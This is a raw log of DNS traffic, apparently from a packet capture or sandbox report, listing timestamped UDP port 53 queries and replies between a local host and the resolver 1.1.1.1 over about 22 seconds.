Sep 7, 2024 15:32:23.038304090 CEST	64553	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:23.212217093 CEST	53	64553	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:23.215161085 CEST	53052	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:23.382780075 CEST	53	53052	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:23.479269981 CEST	57170	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:23.720171928 CEST	53	57170	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:23.726243019 CEST	63452	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:23.918745041 CEST	53	63452	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:23.990509033 CEST	57565	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:24.234949112 CEST	53	57565	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:24.238980055 CEST	55346	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:24.335536957 CEST	53	55346	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:24.425128937 CEST	51775	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:24.693325043 CEST	51775	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:24.758671999 CEST	53	51775	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:24.758900881 CEST	53	51775	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:24.761307955 CEST	59921	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.036381960 CEST	59921	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.042916059 CEST	53	59921	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.042953968 CEST	53	59921	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.115422010 CEST	56909	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.125056028 CEST	53	56909	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.131516933 CEST	56164	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.158519983 CEST	53	56164	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.240705967 CEST	52010	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.283832073 CEST	53	52010	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.288780928 CEST	64083	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.319889069 CEST	53	64083	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.396332979 CEST	60402	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.632443905 CEST	53	60402	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.635986090 CEST	65150	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.871567965 CEST	53	65150	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.958703041 CEST	54537	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.986000061 CEST	53	54537	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:25.988255978 CEST	54734	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:25.997831106 CEST	53	54734	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.072839022 CEST	53203	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.120379925 CEST	53	53203	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.129807949 CEST	49800	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.138885021 CEST	53	49800	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.211888075 CEST	57470	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.249929905 CEST	53	57470	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.252559900 CEST	59223	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.533201933 CEST	59223	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.536536932 CEST	53	59223	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.539999962 CEST	53	59223	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.614957094 CEST	52049	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.646331072 CEST	53	52049	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.652368069 CEST	55248	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.684848070 CEST	53	55248	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.755645990 CEST	51296	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.859077930 CEST	53	51296	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:26.877341032 CEST	63201	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:26.973360062 CEST	53	63201	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.053253889 CEST	58084	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.067665100 CEST	53	58084	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.082576036 CEST	58869	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.091264009 CEST	53	58869	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.093746901 CEST	65065	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.111484051 CEST	53	65065	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.178817034 CEST	65293	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.416383982 CEST	53	65293	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.420795918 CEST	61672	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.517481089 CEST	53	61672	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.585032940 CEST	62935	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.867460012 CEST	62935	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:27.926192045 CEST	53	62935	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.926227093 CEST	53	62935	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:27.937968969 CEST	51479	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.039954901 CEST	53	51479	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.114949942 CEST	59020	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.145046949 CEST	53	59020	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.150850058 CEST	57786	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.185847044 CEST	53	57786	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.259253025 CEST	65491	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.269007921 CEST	53	65491	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.366472960 CEST	63187	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.531814098 CEST	53	63187	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.535581112 CEST	51772	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:28.792162895 CEST	53	51772	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:28.865052938 CEST	52875	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.145684004 CEST	52875	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.151246071 CEST	53	52875	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.153383017 CEST	53	52875	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.153697014 CEST	49624	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.427093029 CEST	49624	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.428581953 CEST	53	49624	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.433806896 CEST	53	49624	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.506078005 CEST	61756	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.609989882 CEST	53	61756	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.633861065 CEST	52380	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:29.735894918 CEST	53	52380	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:29.803455114 CEST	57680	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.042671919 CEST	53	57680	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:30.047389030 CEST	62191	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.152609110 CEST	53	62191	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:30.224816084 CEST	56817	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.257419109 CEST	53	56817	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:30.262866974 CEST	49609	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.302016020 CEST	53	49609	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:30.381009102 CEST	65170	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.476579905 CEST	53	65170	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:30.479425907 CEST	52858	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:30.755172968 CEST	52858	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.472966909 CEST	53	52858	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.473047018 CEST	53	52858	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.552522898 CEST	54323	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.567339897 CEST	53	54323	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.572295904 CEST	64754	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.581646919 CEST	53	64754	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.650609970 CEST	55181	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.664762974 CEST	53	55181	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.701605082 CEST	51252	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.709964037 CEST	53	51252	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.712634087 CEST	64160	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.724235058 CEST	53	64160	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.803204060 CEST	60019	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.848849058 CEST	53	60019	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.851767063 CEST	56225	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.892067909 CEST	53	56225	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.959182024 CEST	52133	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:31.991940022 CEST	53	52133	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:31.994878054 CEST	61574	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.024519920 CEST	53	61574	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.099610090 CEST	51050	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.285188913 CEST	53	51050	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.293278933 CEST	61292	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.556576967 CEST	53	61292	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.631494999 CEST	51585	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.643296003 CEST	53	51585	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.654673100 CEST	51968	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.669980049 CEST	53	51968	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.742765903 CEST	52917	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.753726006 CEST	53	52917	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.756541967 CEST	55350	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:32.767570019 CEST	53	55350	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:32.833728075 CEST	55570	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.074198961 CEST	53	55570	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.080737114 CEST	63074	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.318439007 CEST	53	63074	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.396339893 CEST	52491	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.654239893 CEST	53	52491	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.663598061 CEST	56939	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.699465990 CEST	53	56939	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.772156954 CEST	51983	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.786534071 CEST	53	51983	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.881439924 CEST	58329	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.891592979 CEST	53	58329	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:33.894252062 CEST	60796	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:33.930830002 CEST	53	60796	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.006580114 CEST	63520	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.017257929 CEST	53	63520	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.019788980 CEST	65005	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.032365084 CEST	53	65005	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.100164890 CEST	51542	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.369596004 CEST	53	51542	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.372082949 CEST	60417	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.405033112 CEST	53	60417	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.474397898 CEST	60490	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.576384068 CEST	53	60490	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.578905106 CEST	51279	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.848877907 CEST	51279	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:34.855607986 CEST	53	51279	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:34.926549911 CEST	53	51279	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:35.385801077 CEST	58095	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:35.627530098 CEST	53	58095	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:35.631634951 CEST	60902	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:35.871779919 CEST	53	60902	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:35.944401026 CEST	60699	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:35.981621981 CEST	53	60699	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:35.984189987 CEST	58738	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.019906998 CEST	53	58738	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.083756924 CEST	61600	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.100167990 CEST	53	61600	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.193176031 CEST	53906	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.466401100 CEST	53	53906	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.470865965 CEST	53412	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.509040117 CEST	53	53412	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.583774090 CEST	56080	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.617208004 CEST	53	56080	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.620090008 CEST	55998	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.652126074 CEST	53	55998	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.725332975 CEST	62089	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.733954906 CEST	53	62089	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.743602991 CEST	49542	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.750752926 CEST	53	49542	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.753278017 CEST	63750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.761399984 CEST	53	63750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.835985899 CEST	50173	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:36.933082104 CEST	53	50173	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:36.936352015 CEST	62864	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.042283058 CEST	53	62864	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.115281105 CEST	50726	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.163260937 CEST	53	50726	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.174340963 CEST	59378	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.212996960 CEST	53	59378	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.286930084 CEST	50190	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.530005932 CEST	53	50190	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.533703089 CEST	62147	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.768307924 CEST	53	62147	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.837451935 CEST	62226	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.850435972 CEST	53	62226	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.855516911 CEST	55582	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:37.865282059 CEST	53	55582	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:37.928275108 CEST	51086	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.198148966 CEST	53	51086	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.200582981 CEST	50225	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.230048895 CEST	53	50225	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.303769112 CEST	58737	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.475990057 CEST	53	58737	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.479334116 CEST	64259	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.647588968 CEST	53	64259	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.708635092 CEST	62365	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.719614029 CEST	53	62365	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.721999884 CEST	54390	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:38.734513044 CEST	53	54390	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:38.809669018 CEST	56846	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.060337067 CEST	53	56846	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.063450098 CEST	57715	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.231847048 CEST	53	57715	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.302649021 CEST	65150	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.594167948 CEST	65150	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.645550013 CEST	53	65150	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.649112940 CEST	62192	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.650198936 CEST	53	65150	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.813345909 CEST	53	62192	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.880831957 CEST	54408	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.890081882 CEST	53	54408	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.892824888 CEST	59718	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:39.901757956 CEST	53	59718	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:39.974313974 CEST	64660	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:40.009749889 CEST	53	64660	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:40.012223005 CEST	57866	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:40.056502104 CEST	53	57866	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:40.116787910 CEST	62803	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:40.347285986 CEST	53	62803	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:40.353399992 CEST	62857	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:40.594690084 CEST	53	62857	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:40.663589001 CEST	58898	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:40.766819000 CEST	53	58898	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:40.769227982 CEST	56844	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.007855892 CEST	53	56844	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.069828033 CEST	57356	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.080825090 CEST	53	57356	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.162180901 CEST	59562	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.172674894 CEST	53	59562	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.174834013 CEST	57516	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.186615944 CEST	53	57516	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.256269932 CEST	52126	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.290401936 CEST	53	52126	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.302874088 CEST	62481	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.335753918 CEST	53	62481	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.396078110 CEST	49948	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.405416965 CEST	53	49948	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.415268898 CEST	62147	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.424901009 CEST	53	62147	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.427784920 CEST	60499	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.437550068 CEST	53	60499	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.505667925 CEST	60697	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.610553026 CEST	53	60697	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.613832951 CEST	65379	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.709966898 CEST	53	65379	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.771224976 CEST	63946	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.792927027 CEST	53	63946	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.806310892 CEST	55467	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:41.817264080 CEST	53	55467	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:41.884648085 CEST	58955	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.123661995 CEST	53	58955	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:42.129900932 CEST	65078	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.368881941 CEST	53	65078	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:42.427813053 CEST	51162	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.664963961 CEST	53	51162	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:42.668113947 CEST	52950	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.860867023 CEST	53	52950	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:42.927436113 CEST	64422	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.959768057 CEST	53	64422	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:42.964027882 CEST	49308	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:42.996941090 CEST	53	49308	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.071005106 CEST	54695	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.106332064 CEST	53	54695	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.108685017 CEST	57433	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.156558037 CEST	53	57433	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.224507093 CEST	53001	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.238050938 CEST	53	53001	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.320013046 CEST	62252	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.338299036 CEST	53	62252	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.346590996 CEST	53982	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.359328985 CEST	53	53982	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.427452087 CEST	56422	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.591147900 CEST	53	56422	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.593583107 CEST	62364	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.779548883 CEST	53	62364	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.850347996 CEST	61485	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.864094973 CEST	53	61485	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.868987083 CEST	51524	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:43.887175083 CEST	53	51524	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:43.943793058 CEST	61811	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.183996916 CEST	53	61811	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.186314106 CEST	63844	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.421366930 CEST	53	63844	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.490434885 CEST	57625	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.501204967 CEST	53	57625	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.504077911 CEST	53020	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.541081905 CEST	53	53020	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.599656105 CEST	58861	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.613971949 CEST	53	58861	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.616576910 CEST	58996	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.626029015 CEST	53	58996	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.695219040 CEST	59625	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.718540907 CEST	53	59625	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.721646070 CEST	61550	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.731996059 CEST	53	61550	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.802313089 CEST	62111	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.835199118 CEST	53	62111	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.837613106 CEST	59900	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:44.857814074 CEST	53	59900	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:44.911705971 CEST	57142	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.148617029 CEST	53	57142	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.151660919 CEST	59976	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.247805119 CEST	53	59976	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.302402020 CEST	57459	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.341300964 CEST	53	57459	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.347167969 CEST	63378	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.385291100 CEST	53	63378	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.445131063 CEST	56985	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.480770111 CEST	53	56985	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.482953072 CEST	59046	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.749593019 CEST	53	59046	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.803268909 CEST	57643	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.815680027 CEST	53	57643	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.818011999 CEST	62512	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:45.827270031 CEST	53	62512	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:45.880587101 CEST	52146	53	192.168.2.7	1.1.1.1
